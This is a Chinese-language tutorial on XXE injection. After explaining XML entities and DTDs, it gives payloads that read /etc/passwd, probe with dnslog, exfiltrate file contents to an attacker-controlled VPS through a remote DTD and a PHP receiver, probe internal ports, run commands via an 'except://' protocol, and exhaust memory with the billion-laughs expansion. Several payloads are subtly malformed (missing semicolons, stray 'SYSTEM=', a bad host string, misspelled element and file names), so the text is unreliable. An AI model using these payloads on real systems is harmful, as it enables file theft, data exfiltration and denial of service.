概述
xxe发生在应用解析xml输入的时候,没有禁止外部实体加载,被恶意利用,加载外部xml文件,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。
xml
一段xml代码
<?xml version=’1.0’?> //声明XML解析器版本来解析
<zxd> //根元素
<name>test</name> //子元素,意思就是name变量的值是test
<age>20</age> // age值为20
</zxd>
可以看出类似于html区别在于
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据
实体
上述例子中,<age>20</age>,如果20加上了尖括号,或者别的特殊符号,会引发报错,服务端解析的时候无法识别数值和标签
解决办法:引入实体
实体在XML文档中的文档类型定义部分(DTD)被单独定义描述。
<?xml version='1.0'?> //XML声明
<!DOCTYPE zxd[
<!ENTITY name "zxd" >
]> //DTD部分
<zxd>
<name>&name;</name>
<age>20</age> //XML部分
</zxd>
内部实体和外部实体语法
引入外部的DTD文件时,dtd文件中存放的就是xml代码,并且引用外部实体的时候还可以使用各种伪协议,而不是仅限于http协议
内部实体为自己编写的DTD内容
外部实体为引入外部的DTD内容
演示-有回显
xxe即为xml的外部实体注入,如上所述,ENTITY不仅能指定存储数据,还能从本地或远程文件中调用相关数据,做后续的引入
举个例子
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<c>&f</c>
将/etc/wasspd内容给f,通过标签c输出f内容
上述情况为有回显
无回显
测试漏洞是否存在
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "dnslog域名">
]>
<c>&f</c>
dnslog接收到数据则可以证明存在漏洞
无回显利用的payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://vpsip/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
步骤解读:
读取/etc/passwd/内容,发送到vps的test.dtd文件
test.dtd文件:接受数据到get.php文件
<!ENTITY % all "<!ENTITY send SYSTEM 'vpsip/get.php?file=%file;'>">
get.php:将接收到的数据写入passwd.txt文件
<?php
$data=$_GET['file'];
$myfile = fopen("passwd.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
内网探测
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
命令执行
调用except://伪协议调用系统命令
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
ddos
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
递归引用,lol 实体具体还有 "lol" 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 "lol" 了,以此类推,lol9 实体含有 10^8 个 "lol" 字符串,最后再引用lol9。构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。